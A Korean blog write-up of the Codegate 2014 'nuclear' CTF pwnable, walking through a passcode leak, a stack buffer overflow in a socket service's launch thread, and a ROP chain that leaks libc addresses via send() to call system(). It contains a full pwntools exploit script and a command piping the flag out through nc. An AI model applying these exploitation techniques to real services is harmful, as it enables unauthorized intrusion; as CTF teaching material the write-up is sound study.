[Codegate 2014] nuclear
writeup까지 쓸 생각은 없었는데;
풀다보니까... 생각보다 시간을 많이 잡아먹고, 좀 유의해야할것도 있는 것 같아서 생각을 정리하는 김에 글로 써서 남긴다.
하... 대체 왜 이렇게 시간을 잡아먹은 건지 ㅡㅡ;
nuclear: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=49e7c88b99cd6526e37d016c08e8e5cfeb526474, stripped
|
일단 주어진 바이너리는 32bit 이고, 보호기법은 NX가 걸려있다.
IDA로 보면 소켓 프로그램인 것을 알 수있다.
socket() 함수로 소켓을 생성한다. 이 때 값은 파일/소켓 디스크립터로 반환되고 이 값은 3이다.
그 후 bind() 함수로 소켓에 IP주소와 포트번호를 지정해준다. 여기서는 localhost로 1129포트로 지정하였고, bind()함수는 성공하면 0, 실패하면 -1를 반환한다.
그 후 accept() 함수로 클라이언트의 접속 요청을 받고, 클라이언트와 통신하는 전용 소켓을 생성한다.
이 함수 역시 반환값으로 소켓/파일 디스크립터를 반환하고, 이 값은 4이다.
그럼 먼저 저 바이너리를 실행하고, 로컬포트 1129로 접속해보자.
Nuclear Control System 이라 뜨게 된다.
다시 Ida로 돌아와 살펴보자. 저 부분을 실행하는 함수이름을 Main_8048c65라고 지정하였다.
소켓을 생성하고, 그 값을 인자로 넘겨 실행하게 된다.
이제 우리는 소켓디스크립터값을 이용해 이 프로그램과 통신하게 된다.
일단 변수들은 위와 같이 선언 할당되어있다.
위에는 조금 짤렸는데 passcode라는 변수에 THIS_IS_NOT_KEY_JUST_PASSCODE의 값을 읽어와서 저장해준다.
사용할 수 있는 명령어로는 "quit", "target", "launch"가 있는데
여기서 launch 함수를 보면 사용자로부터 buffer에 입력을 받아 passcode값과 비교한 후,
그 값이 일치하면 pthread_create로 sub_8048B9C함수를 실행해준다.
해당 함수는 카운트 다운 함수인데, 100초를 세고, 100초가 다 세어지면 핵폭팔이 일어나는 것을 볼 수 있다.
중요한 것은 핵폭팔이 일어나는것이 아니라, 저 함수를 실행할 때
pthread로 실행하게 되는 start_routine함수이다.
이 함수를 보면 buf는 bp에서 0x20c만큼 떨어져있지만 사용자로부터 0x512만큼의 값을 받으므로 overflow가 발생한다.
여기서 이제 함수의 흐름을 조작할 수 있다.
그런데 위에서는 필자가 passcode를 알고 있으므로, launch를 실행시킬수 있었지만, 원래는 그 값을 알 수 가 없다.
passcode의 값은 buffer에서 0x208만큼 떨어져있고, buffer에는 0x200만큼만 입력이 된다.
그리고 그 사이에 v4와 v5의 값이 들어가 있는데, 만약 buffer에 NULL바이트 없이 0x200만큼 꽉 차있고
v4와 v5에도 NULL바이트가 없다면, 아래 루틴에서 buffer를 passcode까지 이어서 출력하게 될 것이다.
그러므로 우리는 target 명령어를 통해서 v4와 v5값을 float값으로 채워서 NULL바이트를 없애주고, command입력시 "A"*0x200을 입력하면
passcode값이 leak 될 것이다.
자 그럼 이제, exploit을 하면 된다.
passcode를 leak해서 launch를 실행하고, start_routine에 진입하여, 거기서 프로그램 실행흐름을 조작하면 된다.
처음에는 puts함수를 이용해 다른 함수의 주소를 leak하려하였지만, 소켓프로그램이기 때문에 소켓에 통신하고있는 사용자에게 leak된 주소가 출력되지않고, 서버에 출력되는 것을 알 수 있었다 ㅡㅡ; (이 부분때문에 삽질을 했다.)
주의해야할 점이다. send함수를 통해 소켓디스크립터로 leak한 것을 사용자에게 보내면 된다.
그렇게 함수 주소를 leak하고 offset을 통해 system함수의 주소를 알아내어 프로그램 흐름을 조작하면 된다.
여기서 system("/bin/sh")을 실행하였지만; 당연하게도 소켓프로그램인지라 사용자에게는 쉘이 띄워질리 없기때문에
리버스쉘이나 바인드쉘을 사용하여야한다. 여기선 flag만 가져오면 되기 때문에 system("cat flag | nc localhost 9999")와 같이 실행한다.
이렇게 프로그램 자체에서 소켓을 열고, 소켓디스크립터를 통해 통신을 하는 경우엔 system("/bin/sh")를 한다고 사용자에게 쉘이 떨어지는것이 아니니 주의하여야 할것같다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 | from pwn import * #context.log_level = 'debug' elf = ELF("./nuclear") conn = remote("localhost", 1129) def sendCommand(cmd): conn.recvuntil("> ") conn.send(cmd) def targetSet(Location): sendCommand("target") conn.recvuntil("---> ") conn.sendline(Location) def Launch(passcode): sendCommand("launch") conn.recvuntil(": ") conn.sendline(passcode) targetSet("5.5123/5.5123") sendCommand("A"*0x200) #leak conn.recvuntil(" Unknown command : ") conn.recv(0x208) passcode = conn.recvline().strip() log.info("passcode : " + passcode) #Launch Nuclear Launch(passcode) send_plt = elf.symbols['send'] recv_plt = elf.symbols['recv'] recv_got = elf.got['recv'] send_got = elf.got['send'] start_routine = 0x8048B5B pppr = 0x804917d ppppr = 0x804917c fd = 0x4 #bof payload = "A"*0x200 payload += p32(fd) payload += "B"*12 payload += p32(send_plt) payload += p32(pppr) payload += p32(fd) payload += p32(recv_got) payload += p32(4) payload += p32(send_plt) payload += p32(pppr) payload += p32(fd) payload += p32(send_got) payload += p32(5) payload += p32(start_routine) payload += p32(0xdeadbeef) payload += p32(fd) conn.recvuntil("COUNT DOWN : 100") conn.sendline(payload) conn.recvuntil("We can't stop this action.. G00D Luck!\n") recv_addr = conn.recv(4) send_addr = conn.recv(4) system_addr = u32(recv_addr)-0x18a5a0 log.info("recv_addr : 0x%x" % u32(recv_addr)) log.info("send_addr : 0x%x" % u32(send_addr)) payload = "A"*0x200 payload += p32(fd) payload += "B"*12 payload += p32(recv_plt) payload += p32(ppppr) payload += p32(fd) payload += p32(elf.bss()) payload += p32(50) payload += p32(0) payload += p32(system_addr) payload += p32(0xdeadbeef) payload += p32(elf.bss()) conn.recvuntil("COUNT DOWN : 99") conn.sendline(payload) conn.interactive() | cs |
'Write-up > Pwnable' 카테고리의 다른 글
[WhiteHatWargame.vn] mini-game (0) | 2018.08.13 |
---|---|
[WhiteHatWargame.vn] onechange (0) | 2018.08.13 |
[MeePwnCTF 2018] one_shot writeup (0) | 2018.07.26 |
[MeePwnCTF 2018] one_shot (대회 당시 삽질한 글) (0) | 2018.07.26 |
[RCTF 2017] Recho (0) | 2018.07.10 |